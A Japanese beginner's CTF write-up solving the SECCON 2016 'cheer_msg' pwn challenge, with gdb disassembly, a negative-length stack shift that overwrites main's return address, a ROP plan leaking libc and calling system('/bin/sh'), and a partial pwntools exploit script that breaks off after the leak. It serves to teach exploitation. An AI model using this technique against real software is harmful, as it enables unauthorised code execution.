CTF初心者がpwnのお勉強をするだけ ～SECCON 2016 Online予選より  "cheer_msg"～

#1.はじめに
　先日投稿した[bin編](http://qiita.com/shir0_shir0/items/c110441f5d69060a002e)の問題をpwn編に流用しようとしたら大失敗をしていた事に気づいて傷心していたところ、某氏のお力添えによりなんとか立ち直りかけております。
　初心者の癖に偉そうに紹介なんざせずたまには真面目にpwnのお勉強をしてみようと思い立ったため、今回もSECCON様のOnline予選より問題を引用させて頂き、少し勉強していこうかなあ…と思います。なので今回はただただ問題を解いているときの私の脳内を垂れ流しているだけです。

#2.本題

```
Host : cheermsg.pwn.seccon.jp
Port : 30527

cheer_msg (SHA1 : a89bdbaf3a918b589e14446f88d51b2c63cb219f)
libc-2.19.so (SHA1 : c4dc1270c1449536ab2efbbe7053231f1a776368)

(SECCON 2016 Online予選より "cheer_msg")
```


　というわけで、[作問者様の解説ページ](http://shift-crops.hatenablog.com/entry/2016/12/11/155902)を参考にこの問題を解いていきたいと思います。
　当然ですがこのサーバーは現在稼働していないので、SECCON様のgithubから問題のバイナリとフラグの入ったテキストを入手して同じディレクトリに叩き込んで作業開始です。

　とりあえず動かしてみましょうか。環境はUbuntu 14.04 x86_64です。

```

shir0@shir0:~/src$ ./cheer_msg
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> 10
Message >> AAAA

Oops! I forgot to ask your name...
Can you tell me your name?

Name >> BBBB

Thank you BBBB!
Message : AAAA

```

　某大先輩様に応援メッセージ(cheer_msg)を送るプログラムみたいですね。
　%xを入力欄にいれても変な挙動は起こさないのでFormat_string attackは通らないっぽいですね。地道に行きましょうか。main関数を逆アセンブルします。

```

shir0@shir0:~/src$ gdb -q cheer_msg
Reading symbols from cheer_msg...(no debugging symbols found)...done.
gdb-peda$ disass main
Dump of assembler code for function main:
   0x080485ca <+0>:	lea    ecx,[esp+0x4]
   0x080485ce <+4>:	and    esp,0xfffffff0
   0x080485d1 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080485d4 <+10>:	push   ebp
   0x080485d5 <+11>:	mov    ebp,esp
   0x080485d7 <+13>:	push   ecx
   0x080485d8 <+14>:	sub    esp,0x24
   0x080485db <+17>:	mov    DWORD PTR [esp],0x80487e0
   0x080485e2 <+24>:	call   0x8048430 <printf@plt>
   0x080485e7 <+29>:	call   0x804870d <getint>
   0x080485ec <+34>:	mov    DWORD PTR [ebp-0x10],eax
   0x080485ef <+37>:	mov    eax,DWORD PTR [ebp-0x10]
   0x080485f2 <+40>:	lea    edx,[eax+0xf]
   0x080485f5 <+43>:	mov    eax,0x10
   0x080485fa <+48>:	sub    eax,0x1
   0x080485fd <+51>:	add    eax,edx
   0x080485ff <+53>:	mov    ecx,0x10
   0x08048604 <+58>:	mov    edx,0x0
   0x08048609 <+63>:	div    ecx
   0x0804860b <+65>:	imul   eax,eax,0x10
   0x0804860e <+68>:	sub    esp,eax
   0x08048610 <+70>:	lea    eax,[esp+0x8]
   0x08048614 <+74>:	add    eax,0xf
   0x08048617 <+77>:	shr    eax,0x4
   0x0804861a <+80>:	shl    eax,0x4
   0x0804861d <+83>:	mov    DWORD PTR [ebp-0xc],eax
   0x08048620 <+86>:	mov    eax,DWORD PTR [ebp-0x10]
   0x08048623 <+89>:	mov    DWORD PTR [esp+0x4],eax
   0x08048627 <+93>:	mov    eax,DWORD PTR [ebp-0xc]
   0x0804862a <+96>:	mov    DWORD PTR [esp],eax
   0x0804862d <+99>:	call   0x804863c <message>
   0x08048632 <+104>:	leave  
   0x08048633 <+105>:	ret    
   0x08048634 <+106>:	nop
   0x08048635 <+107>:	nop
   0x08048636 <+108>:	nop
   0x08048637 <+109>:	nop
   0x08048638 <+110>:	nop
   0x08048639 <+111>:	nop
   0x0804863a <+112>:	nop
   0x0804863b <+113>:	nop
End of assembler dump.

```

　目を引くものは謎の関数"getint"と"message"ぐらいですかね。それぞれ逆アセンブルしてみましょう。

　"getint"関数

```

gdb-peda$ disass getint
Dump of assembler code for function getint:
   0x0804870d <+0>:	push   ebp
   0x0804870e <+1>:	mov    ebp,esp
   0x08048710 <+3>:	sub    esp,0x68
   0x08048713 <+6>:	mov    eax,gs:0x14
   0x08048719 <+12>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804871c <+15>:	xor    eax,eax
   0x0804871e <+17>:	mov    DWORD PTR [esp+0x4],0x40
   0x08048726 <+25>:	lea    eax,[ebp-0x4c]
   0x08048729 <+28>:	mov    DWORD PTR [esp],eax
   0x0804872c <+31>:	call   0x80486bd <getnline>
   0x08048731 <+36>:	lea    eax,[ebp-0x4c]
   0x08048734 <+39>:	mov    DWORD PTR [esp],eax
   0x08048737 <+42>:	call   0x80484a0 <atoi@plt>
   0x0804873c <+47>:	mov    edx,DWORD PTR [ebp-0xc]
   0x0804873f <+50>:	xor    edx,DWORD PTR gs:0x14
   0x08048746 <+57>:	je     0x804874d <getint+64>
   0x08048748 <+59>:	call   0x8048450 <__stack_chk_fail@plt>
   0x0804874d <+64>:	leave  
   0x0804874e <+65>:	ret    
End of assembler dump.
```
　"message"関数

```
Dump of assembler code for function message:
   0x0804863c <+0>:	push   ebp
   0x0804863d <+1>:	mov    ebp,esp
   0x0804863f <+3>:	sub    esp,0x68
   0x08048642 <+6>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048645 <+9>:	mov    DWORD PTR [ebp-0x5c],eax
   0x08048648 <+12>:	mov    eax,gs:0x14
   0x0804864e <+18>:	mov    DWORD PTR [ebp-0xc],eax
   0x08048651 <+21>:	xor    eax,eax
   0x08048653 <+23>:	mov    DWORD PTR [esp],0x8048826
   0x0804865a <+30>:	call   0x8048430 <printf@plt>
   0x0804865f <+35>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048662 <+38>:	mov    DWORD PTR [esp+0x4],eax
   0x08048666 <+42>:	mov    eax,DWORD PTR [ebp-0x5c]
   0x08048669 <+45>:	mov    DWORD PTR [esp],eax
   0x0804866c <+48>:	call   0x80486bd <getnline>
   0x08048671 <+53>:	mov    DWORD PTR [esp],0x8048834
   0x08048678 <+60>:	call   0x8048430 <printf@plt>
   0x0804867d <+65>:	mov    DWORD PTR [esp+0x4],0x40
   0x08048685 <+73>:	lea    eax,[ebp-0x4c]
   0x08048688 <+76>:	mov    DWORD PTR [esp],eax
   0x0804868b <+79>:	call   0x80486bd <getnline>
   0x08048690 <+84>:	mov    eax,DWORD PTR [ebp-0x5c]
   0x08048693 <+87>:	mov    DWORD PTR [esp+0x8],eax
   0x08048697 <+91>:	lea    eax,[ebp-0x4c]
   0x0804869a <+94>:	mov    DWORD PTR [esp+0x4],eax
   0x0804869e <+98>:	mov    DWORD PTR [esp],0x804887d
   0x080486a5 <+105>:	call   0x8048430 <printf@plt>
   0x080486aa <+110>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080486ad <+113>:	xor    eax,DWORD PTR gs:0x14
   0x080486b4 <+120>:	je     0x80486bb <message+127>
   0x080486b6 <+122>:	call   0x8048450 <__stack_chk_fail@plt>
   0x080486bb <+127>:	leave  
   0x080486bc <+128>:	ret    
End of assembler dump.
```
　もう一つ、"getnline"という関数が出てきたのでこれも一応

 "getnline"関数

```
gdb-peda$ disass getnline
Dump of assembler code for function getnline:
   0x080486bd <+0>:	push   ebp
   0x080486be <+1>:	mov    ebp,esp
   0x080486c0 <+3>:	sub    esp,0x28
   0x080486c3 <+6>:	mov    eax,ds:0x804a040
   0x080486c8 <+11>:	mov    DWORD PTR [esp+0x8],eax
   0x080486cc <+15>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080486cf <+18>:	mov    DWORD PTR [esp+0x4],eax
   0x080486d3 <+22>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080486d6 <+25>:	mov    DWORD PTR [esp],eax
   0x080486d9 <+28>:	call   0x8048440 <fgets@plt>
   0x080486de <+33>:	mov    DWORD PTR [esp+0x4],0xa
   0x080486e6 <+41>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080486e9 <+44>:	mov    DWORD PTR [esp],eax
   0x080486ec <+47>:	call   0x8048470 <strchr@plt>
   0x080486f1 <+52>:	mov    DWORD PTR [ebp-0xc],eax
   0x080486f4 <+55>:	cmp    DWORD PTR [ebp-0xc],0x0
   0x080486f8 <+59>:	je     0x8048700 <getnline+67>
   0x080486fa <+61>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080486fd <+64>:	mov    BYTE PTR [eax],0x0
   0x08048700 <+67>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048703 <+70>:	mov    DWORD PTR [esp],eax
   0x08048706 <+73>:	call   0x8048480 <strlen@plt>
   0x0804870b <+78>:	leave  
   0x0804870c <+79>:	ret    
End of assembler dump.

```

　先述の作問者様のページによると、Message Lengthを受け取る際に負数チェックがなされていないとのことなのでそれぞれの関数の逆アセンブル結果を見てみると、確かに正の整数を受け取るまで入力を聞き返すようなループ処理(アセンブリの視点で見ると分岐命令)等が見当たりませんね。

　「え？でもgetintとmessageの終わりの方にje命令あるけどこれは違うの？」と一瞬思いましたが、これはその直後にあるcall命令の内容(__stack_chk_fail@plt)よりSSP(Stack Smashing Protection)によるものであると考えられますね。

　つまりここでリターンアドレスが破壊されていないかどうかを判定しているということです。同時に、今回は古典的なバッファオーバーフローは通用しないことがわかります。(オーバーリード等でメモリの内容をリークさせる手法でcanaryの値を読み出して、それを攻撃用のバッファにバイパスさせることでSSPを回避するといった例も一部存在はしますが…)

　また、負の値を読み込んだらその値に-1をかけて正の整数にする(ここまでは流石に無いと思いますが)といったタイプの処理も見当たりません。(手元でそれを試してみたところ、符号反転を行うアセンブリ命令であるneg命令なんてものが見つかりました。面白いですね…)

　確かに負数チェックがなされていないという事実に納得したところでpwnの方針についてページを読み進めて行くと、main関数内でesp-eaxをすることでメッセージの内容を格納するためにespの値を低位に移動させているらしいです。しかしここでeaxに負数を代入することで負数を減算(=加算)、つまりespの値を高位に移せるというわけですね。

　そしてespをある位置に動かして、名前の入力欄で入力した値がmain関数のリターンアドレスの格納されている位置を上書きするように調整します。

　手始めにMessage Lengthを-100　名前のパターンの長さを100程度にしてみましょうか。

```
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ b *0x08048633
Breakpoint 1 at 0x8048633
gdb-peda$ run
Starting program: /home/shir0/src/cheer_msg 
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -100
Message >> 
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Thank you AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AA!
Message : ��

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x5b ('[')
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414641 ('AFAA')
ESP: 0xffffd08c ("bAA1AAGAAcAA2AA")
EIP: 0x8048633 (<main+105>:	ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804862a <main+96>:	mov    DWORD PTR [esp],eax
   0x804862d <main+99>:	call   0x804863c <message>
   0x8048632 <main+104>:	leave  
=> 0x8048633 <main+105>:	ret    
   0x8048634 <main+106>:	nop
   0x8048635 <main+107>:	nop
   0x8048636 <main+108>:	nop
   0x8048637 <main+109>:	nop
[------------------------------------stack-------------------------------------]
0000| 0xffffd08c ("bAA1AAGAAcAA2AA")
0004| 0xffffd090 ("AAGAAcAA2AA")
0008| 0xffffd094 ("AcAA2AA")
0012| 0xffffd098 --> 0x414132 ('2AA')
0016| 0xffffd09c --> 0x76647200 ('')
0020| 0xffffd0a0 --> 0x1 
0024| 0xffffd0a4 --> 0xffffd134 --> 0xffffd302 ("/home/shir0/src/cheer_msg")
0028| 0xffffd0a8 --> 0xffffd088 ("AFAAbAA1AAGAAcAA2AA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048633 in main ()
gdb-peda$ patto bAA1AAGAAcAA2AA
bAA1AAGAAcAA2AA found at offset: 48
gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x5b ('[')
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414641 ('AFAA')
ESP: 0xffffd090 ("AAGAAcAA2AA")
EIP: 0x31414162 ('bAA1')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x31414162
[------------------------------------stack-------------------------------------]
0000| 0xffffd090 ("AAGAAcAA2AA")
0004| 0xffffd094 ("AcAA2AA")
0008| 0xffffd098 --> 0x414132 ('2AA')
0012| 0xffffd09c --> 0x76647200 ('')
0016| 0xffffd0a0 --> 0x1 
0020| 0xffffd0a4 --> 0xffffd134 --> 0xffffd302 ("/home/shir0/src/cheer_msg")
0024| 0xffffd0a8 --> 0xffffd088 ("AFAAbAA1AAGAAcAA2AA")
0028| 0xffffd0ac --> 0x8048632 (<main+104>:	leave)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x31414162 in ?? ()
```

 offsetが48となったので、-(100+48)で-148をMessage Lengthに渡せば、名前入力欄で書く内容がmainのリターンアドレスを格納している位置の内容を上書きしてくれます。

 ちなみに私は最初に作問者様のページを読んで、「なんでこっちだとMessage Lengthに-144を渡してるんだろ…アセンブリ地道に見ていけば出るかな…」と思い、アセンブリを読みながら色々計算してみました。

```
   0x080485e7 <+29>:	call   0x804870d <getint>
   0x080485ec <+34>:	mov    DWORD PTR [ebp-0x10],eax
   0x080485ef <+37>:	mov    eax,DWORD PTR [ebp-0x10]
   0x080485f2 <+40>:	lea    edx,[eax+0xf]
   0x080485f5 <+43>:	mov    eax,0x10
   0x080485fa <+48>:	sub    eax,0x1
   0x080485fd <+51>:	add    eax,edx
   0x080485ff <+53>:	mov    ecx,0x10
   0x08048604 <+58>:	mov    edx,0x0
   0x08048609 <+63>:	div    ecx
   0x0804860b <+65>:	imul   eax,eax,0x10
   0x0804860e <+68>:	sub    esp,eax
```

　上のmain関数の逆アセンブル結果の一部により、esp-eaxを行う直前のeaxの値が
　[{(Message Lengthに渡した値)+0x1e}を0x10で割ったときの商}*0x10]になることが分かります。
　

```
 [----------------------------------registers-----------------------------------]
EAX: 0x80 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x10 
EDX: 0x2 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd118 --> 0x0 
ESP: 0xffffd070 --> 0xffffd09c --> 0x303031 ('100')
EIP: 0x8048610 (<main+70>:	lea    eax,[esp+0x8])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048609 <main+63>:	div    ecx
   0x804860b <main+65>:	imul   eax,eax,0x10
   0x804860e <main+68>:	sub    esp,eax
=> 0x8048610 <main+70>:	lea    eax,[esp+0x8]
   0x8048614 <main+74>:	add    eax,0xf
   0x8048617 <main+77>:	shr    eax,0x4
   0x804861a <main+80>:	shl    eax,0x4
   0x804861d <main+83>:	mov    DWORD PTR [ebp-0xc],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd070 --> 0xffffd09c --> 0x303031 ('100')
0004| 0xffffd074 --> 0xf7ffd938 --> 0x0 
0008| 0xffffd078 --> 0x40 ('@')
0012| 0xffffd07c --> 0x804873c (<getint+47>:	mov    edx,DWORD PTR [ebp-0xc])
0016| 0xffffd080 --> 0xffffd09c --> 0x303031 ('100')
0020| 0xffffd084 --> 0x40 ('@')
0024| 0xffffd088 --> 0x0 
0028| 0xffffd08c --> 0xf7e7c423 (<setbuffer+227>:	jmp    0xf7e7c3d3 <setbuffer+147>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048610 in main ()
gdb-peda$ i r
eax            0x80	0x80
ecx            0x10	0x10
edx            0x2	0x2
ebx            0xf7fc0000	0xf7fc0000
esp            0xffffd070	0xffffd070         ///////////////////espの値//////////////////
ebp            0xffffd118	0xffffd118
esi            0x0	0x0
edi            0x0	0x0
eip            0x8048610	0x8048610 <main+70>
eflags         0x282	[ SF IF ]
cs             0x23	0x23
ss             0x2b	0x2b
ds             0x2b	0x2b
es             0x2b	0x2b
fs             0x0	0x0
gs             0x63	0x63
```

```
gdb-peda$ c
Continuing.

Oops! I forgot to ask your name...
Can you tell me your name?

Name >> NAME

 [----------------------------------registers-----------------------------------]
EAX: 0xffffd01c ("NAME\n")
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0xf7fd9005 --> 0xa4547 ('GE\n')
EDX: 0xf7fc18a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcff8 --> 0xffffd068 --> 0xffffd118 --> 0x0 
ESP: 0xffffcfd0 --> 0xffffd01c ("NAME\n")
EIP: 0x80486de (<getnline+33>:	mov    DWORD PTR [esp+0x4],0xa)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80486d3 <getnline+22>:	mov    eax,DWORD PTR [ebp+0x8]
   0x80486d6 <getnline+25>:	mov    DWORD PTR [esp],eax
   0x80486d9 <getnline+28>:	call   0x8048440 <fgets@plt>
=> 0x80486de <getnline+33>:	mov    DWORD PTR [esp+0x4],0xa
   0x80486e6 <getnline+41>:	mov    eax,DWORD PTR [ebp+0x8]
   0x80486e9 <getnline+44>:	mov    DWORD PTR [esp],eax
   0x80486ec <getnline+47>:	call   0x8048470 <strchr@plt>
   0x80486f1 <getnline+52>:	mov    DWORD PTR [ebp-0xc],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcfd0 --> 0xffffd01c ("NAME\n")            ///////////////リターンアドレスの格納位置/////////////
0004| 0xffffcfd4 --> 0x40 ('@')
0008| 0xffffcfd8 --> 0xf7fc0c20 --> 0xfbad2288 
0012| 0xffffcfdc --> 0xf7e63dff (<printf+47>:	add    esp,0x18)
0016| 0xffffcfe0 --> 0xf7fc0ac0 --> 0xfbad2887 
0020| 0xffffcfe4 --> 0x8048834 ("\nOops! I forgot to ask your name...\nCan you tell me your name?\n\nName >> ")
0024| 0xffffcfe8 --> 0xffffd004 --> 0x40 ('@')
0028| 0xffffcfec --> 0xffffd087 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x080486de in getnline ()


```

```
gdb-peda$ p 0xffffd070-0xffffd01c
$1 = 0x54

```

　また、この命令群の直後の命令にブレークポイントを置いてi r esp等のコマンドでespの値を調べ、message関数内の名前を読み込むのに使われるgetnline関数の中のgetf関数の直後にブレークポイントを置いて名前を格納しているスタックのアドレスを調べて差を取ります。

　すると、gdb上でeaxを減算した後のespと、名前入力欄で入力した値が格納されているスタックのアドレスの差は(手元のgdb上で試した限りでは常に)0x54であることも分かります。

　また、mainのリターンアドレスの格納位置はmain関数の最後の方にあるret命令にブレークポイントを置いてあげれば、そのときにスタックの一番上に積まれている値はリターンアドレスのはずなので、そこを調べて求めてあげましょう。ret命令は実際(厳密には違うのかもしれませんが)pop eipのような働きをすると記憶しているもので…(もっと簡単な方法があるのかもしれませんが)

```
gdb-peda$ b *0x08048633
Breakpoint 1 at 0x8048633
gdb-peda$ run
Starting program: /home/shir0/src/cheer_msg 
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -148
Message >> 
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAAA

Thank you AAAA!
Message : 

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x1c 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd11c ("AAAA")
EIP: 0x8048633 (<main+105>:	ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804862a <main+96>:	mov    DWORD PTR [esp],eax
   0x804862d <main+99>:	call   0x804863c <message>
   0x8048632 <main+104>:	leave  
=> 0x8048633 <main+105>:	ret    
   0x8048634 <main+106>:	nop
   0x8048635 <main+107>:	nop
   0x8048636 <main+108>:	nop
   0x8048637 <main+109>:	nop
[------------------------------------stack-------------------------------------]
0000| 0xffffd11c ("AAAA")                   /////////////////////ここ！//////////////////////
0004| 0xffffd120 --> 0x8040000 
0008| 0xffffd124 --> 0x0 
0012| 0xffffd128 --> 0x0 
0016| 0xffffd12c --> 0xf7e30ad3 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
0020| 0xffffd130 --> 0x1 
0024| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0028| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048633 in main ()
```

リターンアドレスの格納位置はわかったので、先程のespとの差である0x54を足して、esp-eaxの演算結果を出すと

```
gdb-peda$ p 0xffffd08c+0x54
$1 = 0xffffd0e0
```

減算処理をするsub esp eaxの位置(0x0804860e)にブレークポイントをおき、i r espでespの値を求め(結果:esp => 0xffffd060)、eaxの値を求めると

```
gdb-peda$ p 0xffffd060-0xffffd0e0
$2 = 0xffffff80
```

後は先程の
(esp-eax直前の) eax = [{(Message Lengthに渡した値)+0x1e}を0x10で割ったときの商}*0x10]
より、逆算していくだけなので

```
gdb-peda$ p 0xffffff80/0x10
$3 = 0xffffff8
gdb-peda$ p 0xffffff80/0x10
$4 = 0xffffff8
gdb-peda$ p 0xffffff8*0x10
$5 = 0xffffff80
gdb-peda$ p 0x1e- 0xffffff80
$6 = 0x9e
gdb-peda$ p /d 0x9e
$7 = 158
```

　というわけで、-158を入力してもリターンアドレスの書き換えが可能であることも分かります。
ツールで求めた値や作問者様の求めた値と微妙に違う原因は上の計算式で「～を0x10で割ったときの商}*0x10」を生み出しているmain関数中の命令div ecx; imul eax eax 0x10;にあります。div ecxでは、eaxの値をecxで割り、その商をeaxに、余りをecxに格納します。直前の命令を見ればわかりますが今回のecxの値は0x10なので、eaxの値は位が1つ下がり最小桁が実質切り捨てられます。さらにそのあとimul eax, eax, 0x10でeaxの値にeaxの値を0x10倍した値(位が1つ上がり、最小桁は0)になります。

　要は(Message Lengthに渡した値)+0x1eの値の最小1桁は自動的に0になってしまうということです。上の例で言えば0xffffff8?の?の部分はその後の計算で0にされてしまうので、リターンアドレスの書き換えに成功するためには、上7桁が"0xffffff8"になれば良いというわけです。これが作問者様のページで使われているMessage Lengthと私の求めたMessage Lengthが異なる理由の1つであると考えられます。(まあ大半の原因はlibcの違いだと考えられますが)

　実際に動かしてみると、この環境ではMessage Lengthの値を-143(=-(158-15))から-158にした場合はリターンアドレスの書き換えに成功しますが、-142以上または-159以下にすると意図した値への書き換えに失敗します。

　Message Length > -143の場合(リターンアドレスが0x41414141になっている)

```
Message Length >> -143

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x1c 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd120 --> 0x8040000 
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x8040000 
0004| 0xffffd124 --> 0x0 
0008| 0xffffd128 --> 0x0 
0012| 0xffffd12c --> 0xf7e30ad3 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
0016| 0xffffd130 --> 0x1 
0020| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0024| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
0028| 0xffffd13c --> 0xf7feacca (add    ebx,0x12336)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
```

　Message Length > -142の場合(正常に終了)

```
Message Length >> -142
Message >> 
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAAA

Thank you AAAA!
Message : 
[Inferior 1 (process 2884) exited normally]
Warning: not running or target is remote

```

　Message Length > -159の場合(本来とは別のところに処理が飛んではいるが、書き換え後の値が意図した"AAAA"(0x41414141)になっていない)

```
Message Length >> -159
Message >> 
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAAA

Thank you AAAA!
Message : 

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x1d 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd190 --> 0x1 
ESP: 0xffffd120 --> 0x8048750 (<__libc_csu_init>:	push   ebp)
EIP: 0xffffd190 --> 0x1
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xffffd18a:	jecxz  0xffffd183
   0xffffd18c:	add    al,dl
   0xffffd18e:	push   edi
=> 0xffffd190:	add    DWORD PTR [eax],eax
   0xffffd192:	add    BYTE PTR [eax],al
   0xffffd194:	mov    al,0x84
   0xffffd196:	add    al,0x8
   0xffffd198:	add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x8048750 (<__libc_csu_init>:	push   ebp)
0004| 0xffffd124 --> 0x0 
0008| 0xffffd128 --> 0x0 
0012| 0xffffd12c ("AAAA")
0016| 0xffffd130 --> 0x0 
0020| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0024| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
0028| 0xffffd13c --> 0xf7feacca (add    ebx,0x12336)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xffffd190 in ?? ()
```
　Message Length > -158の場合(リターンアドレスが0x41414141になっている)

```
Message Length >> -158
Message >> 
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAAA

Thank you AAAA!
Message : 

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x1c 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd120 --> 0x8040000 
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x8040000 
0004| 0xffffd124 --> 0x0 
0008| 0xffffd128 --> 0x0 
0012| 0xffffd12c --> 0xf7e30ad3 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
0016| 0xffffd130 --> 0x1 
0020| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0024| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
0028| 0xffffd13c --> 0xf7feacca (add    ebx,0x12336)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

```


　これらの情報を元に、攻撃を組み立てていきます。flagを奪取する手段として、flag.txtの内容を表示するためにシェルを奪取します。攻撃の方針としては、ROPを用いて「cheer_msgの実行→libcのアドレスのリーク→mainにリターン→リークした情報を元にシェルを起動」が楽だと考えられるので、その方針でコードを書きます。(cheer_msgが一度実行を終了してしまうとASLRによってアドレスが再配置され、せっかくリークしたアドレスが意味をなさなくなってしまうので、一度の実行の内にmainを2度実行します)

　libcのアドレスをリークするためのコードを送り込んだ後のスタック

```
(スタック低位)
printf関数のPLTアドレス(元々のリターンアドレスが格納されている位置)
main関数のアドレス(printf実行後のリターン先)
printf関数のGOTアドレス(printfの引数)
(スタック高位)
```
　シェルを起動するためのコードを送り込んだ後のスタック

```
(スタック低位)
system関数のアドレス(元々のリターンアドレスが格納されている位置)
"AAAA"(system実行後のリターン先 基本適当でOK)
"/bin/sh"が存在するアドレス(systemの引数)
(スタック高位)

```

　以上のようにするための攻撃コードを書くと

```
#!/usr/bin/env python 

from pwn import *
context(arch = 'i386', os = 'linux')

libc = ELF("/lib32/libc.so.6")

bin_file = ELF("./cheer_msg")


plt_printf_addr = bin_file.plt['printf']
got_printf_addr = bin_file.got['printf']
func_main_addr  = bin_file.functions['main'].address

conn = remote('127.0.0.1', 30527)


conn.recvuntil('Message Length >> ')
conn.sendline(str(-148))


memleak =  p32(plt_printf_addr)
memleak += p32(func_main_addr) 
memleak += p32(got_printf_addr)

conn.recvuntil('Name >> ')
conn.sendline(memleak)

conn.recvuntil('Message : \n')

leaked_string    = conn.recvline()
libc_printf_addr = u32(leaked_string[0:4])
